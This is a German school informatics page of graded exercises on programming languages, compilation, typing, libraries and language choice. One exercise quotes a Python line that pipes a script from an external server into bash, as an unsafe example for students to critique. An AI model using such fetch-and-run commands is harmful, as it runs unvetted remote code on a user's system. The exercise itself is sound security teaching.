Zurück zur StartseiteInformatik · EF · Fach wechseln
Kostenlos starten
Lernunterlagen

Aufgaben: Programmiersprachen

Üben★☆☆
Erkläre mit eigenen Worten, was ein Programm und was ein Algorithmus ist, und nenne ein Beispiel für einen „Algorithmus“ aus dem Alltag (ein Rezept, eine Wegbeschreibung…

Erkläre mit eigenen Worten, was ein Programm und was ein Algorithmus ist, und nenne ein Beispiel für einen „Algorithmus“ aus dem Alltag (ein Rezept, eine Wegbeschreibung zu dir nach Hause …), wobei du seine Schritte kenntlich machst.

Lösen
Üben★☆☆
Eine natürliche Sprache (wie Deutsch) lässt mehrdeutige Sätze zu, eine Programmiersprache dagegen nicht. Erkläre, was das bedeutet und warum es unerlässlich ist, dass…

Eine natürliche Sprache (wie Deutsch) lässt mehrdeutige Sätze zu, eine Programmiersprache dagegen nicht. Erkläre, was das bedeutet und warum es unerlässlich ist, dass die Anweisungen eines Programms nur eine einzige mögliche Interpretation haben.

Lösen
Üben★☆☆
Die Abbildung zeigt die Kette, die das, was ein Programmierer schreibt, in etwas umwandelt, das der Computer ausführen kann. Das mittlere Element ist jedoch durch ein…

Die Abbildung zeigt die Kette, die das, was ein Programmierer schreibt, in etwas umwandelt, das der Computer ausführen kann. Das mittlere Element ist jedoch durch ein Fragezeichen verdeckt, wie in der Abbildung zu sehen.

Quellcode vom Menschen geschrieben ? Ausführbares Programm von der Maschine ausgeführt

Gib an, welches Element in der Kette fehlt, erkläre, welche zwei Arten von Werkzeugen diese Stelle einnehmen können (Compiler und Interpreter), und beschreibe, worin sich beide unterscheiden.

Lösen
Üben★☆☆
Erkläre, was die Syntax einer Programmiersprache ist und warum schon eine fehlende Klammer die Ausführung des Programms verhindert, während ein Rechtschreibfehler in…

Erkläre, was die Syntax einer Programmiersprache ist und warum schon eine fehlende Klammer die Ausführung des Programms verhindert, während ein Rechtschreibfehler in einem deutschen Text das Verstehen nicht verhindert.

Lösen
Üben★☆☆
Was ist eine Entwicklungsumgebung (IDE)? Nenne zwei Hilfen, die sie Programmierenden bietet (Syntaxhervorhebung, Fehlererkennung beim Schreiben, integrierte Ausführung),…

Was ist eine Entwicklungsumgebung (IDE)? Nenne zwei Hilfen, die sie Programmierenden bietet (Syntaxhervorhebung, Fehlererkennung beim Schreiben, integrierte Ausführung), und erkläre jede in einem Satz.

Lösen
Üben★☆☆
Vergleiche das Programmieren mit Blöcken (wie Scratch) und das Programmieren mit Text: Nenne für jeden Ansatz einen Vorteil beim Lernen und einen Grund, warum große…

Vergleiche das Programmieren mit Blöcken (wie Scratch) und das Programmieren mit Text: Nenne für jeden Ansatz einen Vorteil beim Lernen und einen Grund, warum große Projekte letztlich in Textform geschrieben werden.

Lösen
Üben★☆☆
Erkläre, was der Quellcode eines Programms ist, wer ihn schreibt und was mit ihm geschehen muss, bevor der Computer ihn ausführen kann (Übersetzung in Maschinensprache).

Erkläre, was der Quellcode eines Programms ist, wer ihn schreibt und was mit ihm geschehen muss, bevor der Computer ihn ausführen kann (Übersetzung in Maschinensprache).

Lösen
Üben★☆☆
Nenne drei verschiedene Programmiersprachen und jeweils eine typische Anwendung oder einen typischen Bereich (Webseiten, Datenanalyse, Videospiele, Systeme, Apps …).

Nenne drei verschiedene Programmiersprachen und jeweils eine typische Anwendung oder einen typischen Bereich (Webseiten, Datenanalyse, Videospiele, Systeme, Apps …).

Lösen
Üben★★☆
Erkläre den Unterschied zwischen einer kompilierten und einer interpretierten Sprache: Was geschieht jeweils mit dem Quellcode, wann werden Fehler entdeckt und was…

Erkläre den Unterschied zwischen einer kompilierten und einer interpretierten Sprache: Was geschieht jeweils mit dem Quellcode, wann werden Fehler entdeckt und was braucht der Endnutzer, um das Programm auszuführen? Nenne für jede Art ein Beispiel für eine Sprache.

Lösen
Üben★★☆
Sprachen werden auch nach Paradigmen gruppiert (imperativ, objektorientiert, funktional …). Erkläre kurz, worin die objektorientierte Programmierung besteht, und…

Sprachen werden auch nach Paradigmen gruppiert (imperativ, objektorientiert, funktional …). Erkläre kurz, worin die objektorientierte Programmierung besteht, und begründe, warum sie nützlich ist, wenn ein Programm Dinge der realen Welt modelliert (Schüler, Konten, Fahrzeuge …).

Lösen
Üben★★☆
Deine Klasse soll eine Sprache auswählen, um eine kleine Anwendung zur Verwaltung des Leseclubs zu entwickeln. Nenne und erkläre drei Merkmale der Sprache, die du vor…

Deine Klasse soll eine Sprache auswählen, um eine kleine Anwendung zur Verwaltung des Leseclubs zu entwickeln. Nenne und erkläre drei Merkmale der Sprache, die du vor der Entscheidung berücksichtigen würdest (Erlernbarkeit, verfügbare Bibliotheken, Community, Leistung, Zielplattform …), und begründe, welches du in diesem konkreten Fall priorisieren würdest.

Lösen
Üben★★☆
Bei einer kompilierten Sprache entsteht eine ausführbare Datei; bei einer interpretierten Sprache muss der Interpreter installiert sein. Analysiere, welcher Unterschied…

Bei einer kompilierten Sprache entsteht eine ausführbare Datei; bei einer interpretierten Sprache muss der Interpreter installiert sein. Analysiere, welcher Unterschied sich für den Endnutzer des jeweiligen Programms ergibt (was er installieren muss, auf welchen Systemen es läuft) und welcher Unterschied sich für die Entwickelnden ergibt (Zyklus aus Schreiben und Testen).

Lösen
Üben★★☆
Bibliotheken sind Sammlungen von fertigem Code, die ein Programm verwenden kann. Erkläre anhand eines Beispiels (Grafikbibliothek, Bibliothek zur Datenbankanbindung),…

Bibliotheken sind Sammlungen von fertigem Code, die ein Programm verwenden kann. Erkläre anhand eines Beispiels (Grafikbibliothek, Bibliothek zur Datenbankanbindung), warum es eine gute Praxis ist, „das Rad nicht neu zu erfinden“, und nenne eine Vorsichtsmaßnahme, die man bei der Verwendung von Bibliotheken von Drittanbietern beachten muss.

Lösen
Üben★★☆
In manchen Sprachen führt das Addieren einer Zahl und eines Textes bereits vor der Ausführung des Programms zu einem Fehler; in anderen tritt der Fehler nur auf, wenn…

In manchen Sprachen führt das Addieren einer Zahl und eines Textes bereits vor der Ausführung des Programms zu einem Fehler; in anderen tritt der Fehler nur auf, wenn diese Zeile ausgeführt wird. Erkläre, was die Typisierung einer Sprache ist (statisch oder dynamisch) und welchen Vorteil es hat, solche Fehler möglichst früh zu erkennen.

Lösen
Üben★★☆
HTML strukturiert den Inhalt von Webseiten, gilt aber nicht als vollwertige Programmiersprache. Erkläre, worin der Unterschied zwischen einer Auszeichnungssprache und…

HTML strukturiert den Inhalt von Webseiten, gilt aber nicht als vollwertige Programmiersprache. Erkläre, worin der Unterschied zwischen einer Auszeichnungssprache und einer Programmiersprache besteht (lassen sich Entscheidungen und Wiederholungen ausdrücken?) und welche Sprache HTML üblicherweise ergänzt, um die Logik beizusteuern.

Lösen
Üben★★☆
Wähle für jedes Projekt eine Sprache aus und begründe deine Wahl: (a) die Noten der gesamten Schule auswerten und Diagramme erzeugen, (b) ein 3D-Videospiel mit hohen…

Wähle für jedes Projekt eine Sprache aus und begründe deine Wahl: (a) die Noten der gesamten Schule auswerten und Diagramme erzeugen, (b) ein 3D-Videospiel mit hohen Leistungsanforderungen und (c) eine interaktive Webseite, die im Browser läuft. Gib an, welches Kriterium bei jeder Wahl am meisten ins Gewicht fiel.

Lösen
Üben★★★
Der Algorithmus der binären Suche wird implementiert, um einen Wert in einer sortierten Liste von 1 000 000 ganzen Zahlen zu finden, und zwar in zwei verschiedenen…

Der Algorithmus der binären Suche wird implementiert, um einen Wert in einer sortierten Liste von 1 000 000 ganzen Zahlen zu finden, und zwar in zwei verschiedenen Sprachen: In Python dauert er 12,4 ms und in C 0,8 ms. Ein Mitschüler behauptet: „Weil es in C weniger Zeit braucht, hat sich die Logik des Algorithmus geändert und er führt jetzt weniger Vergleiche durch als in Python.“ Widerlege diese Behauptung begründet: a) Erkläre, welche Elemente des Programms in beiden Versionen genau gleich bleiben und welche sich ändern. b) Begründe, worauf der Zeitunterschied beruht, wenn die Anzahl der logischen Vergleiche identisch ist. c) Argumentiere anhand dieses Falls, warum man sagt, Programmierenlernen bedeute, denken zu lernen, und nicht, eine bestimmte Sprache zu beherrschen.

Lösen
Üben★★★
Eine interpretierte höhere Programmiersprache ist meist bequemer zu schreiben, aber in der Ausführung langsamer als eine kompilierte maschinennahe Sprache. Analysiere…

Eine interpretierte höhere Programmiersprache ist meist bequemer zu schreiben, aber in der Ausführung langsamer als eine kompilierte maschinennahe Sprache. Analysiere diesen Kompromiss und entscheide, welche Art von Sprache du wählen würdest für: (a) die Steuerung eines Airbags, (b) einen App-Prototyp, um eine Idee zu testen, (c) ein Videospiel mit anspruchsvoller Grafik. Begründe jede Entscheidung.

Lösen
Üben★★★
Ein Start-up entwickelt eine Anwendung zur Verwaltung von Wetterstationen. Das Team schwankt für sein Backend zwischen zwei technischen Optionen: Option A, eine…

Ein Start-up entwickelt eine Anwendung zur Verwaltung von Wetterstationen. Das Team schwankt für sein Backend zwischen zwei technischen Optionen: Option A, eine proprietäre Plattform und Sprache, deren Lizenz 450 € pro Jahr und Entwickler kostet, mit geschlossenem technischem Support; oder Option B, eine Open-Source-Sprache mit freien Werkzeugen unter freier Lizenz und aktiver Community. Analysiere die Situation: a) Wenn der Anbieter von Option A den Lizenzpreis verdreifacht oder von einem Wettbewerber übernommen wird, der das Produkt einstellt, sage voraus, welche technischen Möglichkeiten dem Unternehmen bleiben und welche Auswirkungen es zu tragen hätte. b) Begründe zwei technische und sicherheitsbezogene Vorteile, die Option B gegenüber Option A bietet, wenn ein kritischer Fehler in einer Bibliothek entdeckt wird. c) In welchem konkreten Fall könnte es gerechtfertigt sein, die Abhängigkeit von der proprietären Plattform in Kauf zu nehmen?

Lösen
Üben★★★
Ein Unternehmen für Unterwasserrobotik entwickelt ein autonomes Erkundungsfahrzeug. Das System besteht aus zwei Modulen: 1) Steuerung der Antriebe und gyroskopische…

Ein Unternehmen für Unterwasserrobotik entwickelt ein autonomes Erkundungsfahrzeug. Das System besteht aus zwei Modulen: 1) Steuerung der Antriebe und gyroskopische Stabilisierung, die alle 2,5 ms Sensoren abfragen und den Kurs mit strikter, kritischer Latenz korrigieren muss. 2) Benutzeroberfläche und statistische Auswertung in der Meeresstation, wo Wissenschaftler Bilder verarbeiten und visuelle Filter interaktiv testen. Der technische Leiter schlägt vor, beide Module ausschließlich in Python zu programmieren, um das Projekt zu vereinheitlichen. a) Bewerte diesen Vorschlag kritisch, indem du voraussagst, welche Engpässe im Stabilisierungsmodul auftreten werden. b) Erkläre, warum es hinsichtlich der Produktivität ebenfalls keine effiziente Entscheidung wäre, die Basisstation in C oder C++ zu programmieren. c) Entwirf eine Lösung und begründe, welche Art von Sprache du jedem Modul zuweisen würdest, um den Konflikt zwischen Ausführungsgeschwindigkeit und Entwicklungsfreundlichkeit zu lösen.

Lösen
Üben★★★
Eine Schule erneuert die Ausstattung ihres Technikraums und wägt zwei Optionen für die Programmierung der Mikrocontroller in ihren Projekten ab: Umgebung A, eine…

Eine Schule erneuert die Ausstattung ihres Technikraums und wägt zwei Optionen für die Programmierung der Mikrocontroller in ihren Projekten ab: Umgebung A, eine kommerzielle proprietäre Software mit zwei Jahren kostenloser Lizenz, aber mit geschlossenem Quellcode und nur mit den Sensoren der eigenen Marke kompatibel; und Umgebung B, eine Open-Source-Toolchain (freier Compiler und offene Bibliotheken), die mit zahlreichen Boards auf dem Markt kompatibel ist. a) Sage voraus, welche wirtschaftlichen und technischen Folgen die Schule im dritten Jahr zu tragen hat, wenn der Anbieter von Umgebung A seine Preispolitik ändert oder den Support für ältere Modelle einstellt. b) Begründe, welche Lern- und Anpassungsmöglichkeiten Umgebung B bietet, damit Schülerinnen und Schüler untersuchen können, wie der Code im Inneren funktioniert, oder nicht mehr produzierte Sensoren anschließen können. c) Vertritt unter dem Gesichtspunkt der öffentlichen Ausgaben und der technologischen Souveränität, welche der beiden Optionen gewählt werden sollte.

Lösen
Üben★★★
Ein Entwicklungsteam entwirft eine Anwendung zur Umweltüberwachung und analysiert, wie sie auf drei Geräte verteilt werden soll: Gerät A (Cloud-Server mit…

Ein Entwicklungsteam entwirft eine Anwendung zur Umweltüberwachung und analysiert, wie sie auf drei Geräte verteilt werden soll: Gerät A (Cloud-Server mit x86_64-Prozessor und Linux), Gerät B (Feld-Tablet mit ARM64-Prozessor und Android) und Gerät C (Meeresboje mit einem 8-Bit-Mikrocontroller, 16 KB RAM und ohne Betriebssystem). Das Team beschließt, den Code in ein Zwischenformat (Bytecode) zu kompilieren, das auf einer virtuellen Maschine läuft. a) Erkläre, warum dieser Ansatz es ermöglicht, genau dieselbe Binärdatei auf A und B auszuführen, ohne für jeden Prozessor neu kompilieren zu müssen. b) Sage voraus, welches unüberwindliche Problem beim Versuch auftritt, dieses Programm auf Gerät C auszuführen, und begründe deine Antwort anhand der Anforderungen einer virtuellen Maschine. c) Erkläre, welche Kosten bei Leistung und Speicherverbrauch die Geräte A und B im Gegenzug für die sofortige Portabilität in Kauf nehmen.

Lösen
Üben★★★
Für eine Hausautomatisierungsübung muss ein Schüler bei einem Gasleck E-Mail-Warnungen versenden. Statt es selbst zu programmieren, kopiert er aus einem Internetforum…

Für eine Hausautomatisierungsübung muss ein Schüler bei einem Gasleck E-Mail-Warnungen versenden. Statt es selbst zu programmieren, kopiert er aus einem Internetforum diese Zeile, ohne ihren Inhalt zu prüfen: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). Der Schüler behauptet: „Der Code funktioniert und die Warnung kommt an, also ist die Lösung völlig in Ordnung und sicher.“ a) Widerlege die Behauptung des Schülers, indem du die schwerwiegenden Sicherheitsrisiken und die Gefahr der Code-Injektion analysierst, die diese Zeile für das System und das lokale Netzwerk mit sich bringt. b) Wenn der externe Server Wochen später seinen Dienst einstellt, sage voraus, welche Schwierigkeiten der Schüler haben wird, das System zu warten, wenn er die ursprüngliche Logik nicht verstanden hat. c) Entwirf ein Protokoll aus vier Schritten, das ein verantwortungsvoller Programmierer befolgen muss, bevor er Code oder Bibliotheken von Drittanbietern in ein technisches Projekt einbindet.

Lösen
Üben★★★
Bei einem Roboterarm für chirurgische Präzisionseingriffe reserviert ein erster, in C programmierter Prototyp in jedem Regelzyklus fortlaufend dynamischen Speicher, ohne…

Bei einem Roboterarm für chirurgische Präzisionseingriffe reserviert ein erster, in C programmierter Prototyp in jedem Regelzyklus fortlaufend dynamischen Speicher, ohne ihn ordnungsgemäß freizugeben (Speicherleck). Dadurch wird das System langsamer und blockiert nach mehreren Stunden Dauerbetrieb schließlich. Zur Lösung schlägt ein Programmierer vor, die gesamte Software in einer Sprache mit automatischer Speicherbereinigung (Garbage Collection) und dynamischer Typisierung neu zu schreiben, und behauptet, das System sei dann sicher und frei von Speicherfehlern. a) Erklären Sie, was bei einem Speicherleck physisch im Arbeitsspeicher (RAM) geschieht, sodass das System schließlich blockiert. b) Widerlegen Sie den Vorschlag des Programmierers: Sagen Sie vorher, welches kritische Risiko der automatische Garbage Collector bei einer Echtzeitoperation für die Servomotoren des Roboters mit sich bringt. c) Begründen Sie, welche technische Kompromisslösung (zwischen manueller Speicherverwaltung ohne Garantien und unvorhersehbarer automatischer Speicherbereinigung) Sicherheit und deterministische Reaktionszeit gewährleisten würde.

Lösen